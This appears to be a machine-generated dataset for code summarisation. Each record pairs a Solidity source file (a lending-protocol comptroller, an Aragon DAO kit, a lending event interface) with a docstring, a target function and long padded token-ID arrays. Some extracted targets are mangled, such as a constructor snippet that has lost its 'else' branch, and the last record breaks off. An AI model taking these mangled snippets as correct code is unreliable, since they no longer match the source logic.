* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address gTokenModify,
uint redeemTokens,
uint borrowAmount) public view returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, GToken(gTokenModify), redeemTokens, borrowAmount);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param gTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral gToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
GToken gTokenModify,
uint redeemTokens,
uint borrowAmount) internal view returns (Error, uint, uint) {
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint oErr;
MathError mErr;
// For each asset the account is in
GToken[] memory assets = accountAssets[account];
for (uint i = 0; i < assets.length; i++) {
GToken asset = assets[i];
// Read the balances and exchange rate from the gToken
(oErr, vars.gTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0);
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
(mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumCollateral += tokensToDenom * gTokenBalance
(mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.gTokenBalance, vars.sumCollateral);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumBorrowPlusEffects += oraclePrice * borrowBalance
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// Calculate effects of interacting with gTokenModify
if (asset == gTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
}
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in gToken.liquidateBorrowFresh)
* @param gTokenBorrowed The address of the borrowed gToken
* @param gTokenCollateral The address of the collateral gToken
* @param actualRepayAmount The amount of gTokenBorrowed underlying to convert into gTokenCollateral tokens
* @return (errorCode, number of gTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(address gTokenBorrowed, address gTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) {
/* Read oracle prices for borrowed and collateral markets */
uint priceBorrowedMantissa = oracle.getUnderlyingPrice(GToken(gTokenBorrowed));
uint priceCollateralMantissa = oracle.getUnderlyingPrice(GToken(gTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint exchangeRateMantissa = GToken(gTokenCollateral).exchangeRateStored(); // Note: reverts on error
uint seizeTokens;
Exp memory numerator;
Exp memory denominator;
Exp memory ratio;
MathError mathErr;
(mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, ratio) = divExp(numerator, denominator);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
return (uint(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Sets a new price oracle for the comptroller
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPriceOracle(PriceOracle newOracle) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Track the old oracle for the comptroller
PriceOracle oldOracle = oracle;
// Set comptroller's oracle to newOracle
oracle = newOracle;
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, newOracle);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});
Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});
if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});
if (lessThanExp(highLimit, newCloseFactorExp)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
uint oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param gToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(GToken gToken, uint newCollateralFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(gToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(gToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(gToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets maxAssets which controls how many markets can be entered
* @dev Admin function to set maxAssets
* @param newMaxAssets New max assets
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setMaxAssets(uint newMaxAssets) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);
}
uint oldMaxAssets = maxAssets;
maxAssets = newMaxAssets;
emit NewMaxAssets(oldMaxAssets, newMaxAssets);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
// Check de-scaled min <= newLiquidationIncentive <= max
Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});
Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});
if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});
if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
// Save current value for use in log
uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param gToken The address of the market (token) to list
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(GToken gToken) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
if (markets[address(gToken)].isListed) {
return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);
}
gToken.isCToken(); // Sanity check to make sure its really a GToken
markets[address(gToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0});
_addMarketInternal(address(gToken));
emit MarketListed(gToken);
return uint(Error.NO_ERROR);
}
function _addMarketInternal(address gToken) internal {
for (uint i = 0; i < allMarkets.length; i ++) {
require(allMarkets[i] != GToken(gToken), "market already added");
}
allMarkets.push(GToken(gToken));
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint(Error.NO_ERROR);
}
function _setMintPaused(GToken gToken, bool state) public returns (bool) {
require(markets[address(gToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
mintGuardianPaused[address(gToken)] = state;
emit ActionMarketPaused(gToken, "Mint", state);
return state;
}
function _setBorrowPaused(GToken gToken, bool state) public returns (bool) {
require(markets[address(gToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
borrowGuardianPaused[address(gToken)] = state;
emit ActionMarketPaused(gToken, "Borrow", state);
return state;
}
function _setTransferPaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
transferGuardianPaused = state;
emit ActionGlobalPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
seizeGuardianPaused = state;
emit ActionGlobalPaused("Seize", state);
return state;
}
/*
function _become(Supervisor unitroller) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
*/
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == comptrollerImplementation;
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() public view returns (GToken[] memory) {
return allMarkets;
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
} | Note: reverts on error
| uint exchangeRateMantissa = GToken(gTokenCollateral).exchangeRateStored(); | 598,620 | [
1,
8067,
30,
15226,
87,
603,
555,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
7829,
4727,
49,
970,
21269,
273,
611,
1345,
12,
75,
1345,
13535,
2045,
287,
2934,
16641,
4727,
18005,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
import "@aragon/os/contracts/factory/DAOFactory.sol";
import "@aragon/os/contracts/apm/Repo.sol";
import "@aragon/os/contracts/lib/ens/ENS.sol";
import "@aragon/os/contracts/lib/ens/PublicResolver.sol";
//import "@aragon/os/contracts/apm/APMNamehash.sol";
import "@aragon/apps-voting/contracts/Voting.sol";
import "@aragon/apps-token-manager/contracts/TokenManager.sol";
import "@aragon/os/contracts/lib/minime/MiniMeToken.sol";
import "./App.sol";
contract KitBase {
ENS public ens;
DAOFactory public fac;
event DeployInstance(address dao);
event InstalledApp(address appProxy, bytes32 appId);
function KitBase(DAOFactory _fac, ENS _ens) {
ens = _ens;
// If no factory is passed, get it from on-chain bare-kit
if (address(_fac) == address(0)) {
bytes32 bareKit = keccak256("bare-kit");
fac = KitBase(latestVersionAppBase(bareKit)).fac();
} else {
fac = _fac;
}
}
function latestVersionAppBase(bytes32 appId) public view returns (address base) {
Repo repo = Repo(PublicResolver(ens.resolver(appId)).addr(appId));
(,base,) = repo.getLatest();
return base;
}
}
contract Kit is KitBase {
MiniMeTokenFactory tokenFactory;
uint256 constant PCT = 10 ** 16;
address constant ANY_ENTITY = address(-1);
function Kit(ENS ens) KitBase(DAOFactory(0), ens) {
tokenFactory = new MiniMeTokenFactory();
}
function newInstance() {
Kernel dao = fac.newDAO(this);
ACL acl = ACL(dao.acl());
acl.createPermission(this, dao, dao.APP_MANAGER_ROLE(), this);
//startApp(dao, acl);
}
/* function startApp(Kernel dao, ACL acl) internal {
bytes32 appId = keccak256("app");
bytes32 votingAppId = keccak256("voting");
bytes32 tokenManagerAppId = keccak256("token-manager");
App app = App(dao.newAppInstance(appId, latestVersionAppBase(appId)));
NodeRegistry nodeRegistry = NodeRegistry(dao.newAppInstance(appId, latestVersionAppBase(appId)));
ClientRegistry clientRegistry = ClientRegistry(dao.newAppInstance(appId, latestVersionAppBase(appId)));
VerifierRegistry verifierRegistry = VerifierRegistry(dao.newAppInstance(appId, latestVersionAppBase(appId)));
Voting voting = Voting(dao.newAppInstance(votingAppId, latestVersionAppBase(votingAppId)));
TokenManager tokenManager = TokenManager(dao.newAppInstance(tokenManagerAppId, latestVersionAppBase(tokenManagerAppId)));
MiniMeToken token = tokenFactory.createCloneToken(address(0), 0, "App token", 0, "APP", true);
token.changeController(tokenManager);
tokenManager.initialize(token, true, 0, true);
// Initialize apps
voting.initialize(token, 50 * PCT, 20 * PCT, 1 days);
createPermissions(dao, acl, msg.sender, voting, tokenManager);
}
function createPermissions(Kernel dao, ACL acl, address root, Voting voting, TokenManager tokenManager) internal {
acl.createPermission(this, tokenManager, tokenManager.MINT_ROLE(), this);
tokenManager.mint(root, 1); // Give one token to root
acl.createPermission(ANY_ENTITY, voting, voting.CREATE_VOTES_ROLE(), root);
//acl.createPermission(voting, app, app.INCREMENT_ROLE(), voting);
//acl.createPermission(ANY_ENTITY, app, app.DECREMENT_ROLE(), root);
acl.grantPermission(voting, tokenManager, tokenManager.MINT_ROLE());
// Clean up permissions
acl.grantPermission(root, dao, dao.APP_MANAGER_ROLE());
acl.revokePermission(this, dao, dao.APP_MANAGER_ROLE());
acl.setPermissionManager(root, dao, dao.APP_MANAGER_ROLE());
acl.grantPermission(root, acl, acl.CREATE_PERMISSIONS_ROLE());
acl.revokePermission(this, acl, acl.CREATE_PERMISSIONS_ROLE());
acl.setPermissionManager(root, acl, acl.CREATE_PERMISSIONS_ROLE());
DeployInstance(dao);
}*/
} | If no factory is passed, get it from on-chain bare-kit | function KitBase(DAOFactory _fac, ENS _ens) {
ens = _ens;
if (address(_fac) == address(0)) {
bytes32 bareKit = keccak256("bare-kit");
fac = KitBase(latestVersionAppBase(bareKit)).fac();
fac = _fac;
}
}
| 1,005,357 | [
1,
2047,
1158,
3272,
353,
2275,
16,
336,
518,
628,
603,
17,
5639,
18208,
17,
8691,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1475,
305,
2171,
12,
18485,
1733,
389,
11639,
16,
512,
3156,
389,
773,
13,
288,
203,
377,
202,
773,
273,
389,
773,
31,
203,
203,
377,
202,
430,
261,
2867,
24899,
11639,
13,
422,
1758,
12,
20,
3719,
288,
203,
377,
202,
202,
3890,
1578,
18208,
14102,
273,
417,
24410,
581,
5034,
2932,
70,
834,
17,
8691,
8863,
203,
377,
202,
202,
11639,
273,
1475,
305,
2171,
12,
13550,
1444,
3371,
2171,
12,
70,
834,
14102,
13,
2934,
11639,
5621,
203,
377,
202,
202,
11639,
273,
389,
11639,
31,
203,
377,
202,
97,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xc402cFef0b9Aaf913E574CC557D144F98A1D3eA4/sources/contracts/Autolend/Mediator/LendMediatorInterface.sol | * @title MetaLend's mediator event interface @author MetaLend @notice defines the events emitted during interaction @dev use this with proxy and implementation to emit events/ | interface LendMediatorEventInterface {
event OverdueLoanLiquidated(address indexed protocol, uint256 loanId);
event FundsDeposited(address indexed tokenAddress, uint256 amount);
event FundsWithdrawn(address indexed tokenAddress, uint256 amount);
event NftsWithdrawn(address indexed tokenAddress, uint256[] tokenIds);
event RoyaltiesWithdrawn(address indexed tokenAddress, uint256 amount);
event AllowanceModified(address indexed tokenAddress, address indexed spender, uint256 newAllowance);
}
}
| 9,142,052 | [
1,
2781,
48,
409,
1807,
6735,
10620,
871,
1560,
225,
6565,
48,
409,
225,
11164,
326,
2641,
17826,
4982,
13581,
225,
999,
333,
598,
2889,
471,
4471,
358,
3626,
2641,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
511,
409,
13265,
10620,
1133,
1358,
288,
203,
565,
871,
10752,
24334,
1504,
304,
48,
18988,
350,
690,
12,
2867,
8808,
1771,
16,
2254,
5034,
28183,
548,
1769,
203,
203,
565,
871,
478,
19156,
758,
1724,
329,
12,
2867,
8808,
1147,
1887,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
871,
478,
19156,
1190,
9446,
82,
12,
2867,
8808,
1147,
1887,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
871,
423,
1222,
87,
1190,
9446,
82,
12,
2867,
8808,
1147,
1887,
16,
2254,
5034,
8526,
1147,
2673,
1769,
203,
203,
565,
871,
534,
13372,
2390,
606,
1190,
9446,
82,
12,
2867,
8808,
1147,
1887,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
871,
7852,
1359,
4575,
12,
2867,
8808,
1147,
1887,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
394,
7009,
1359,
1769,
203,
97,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
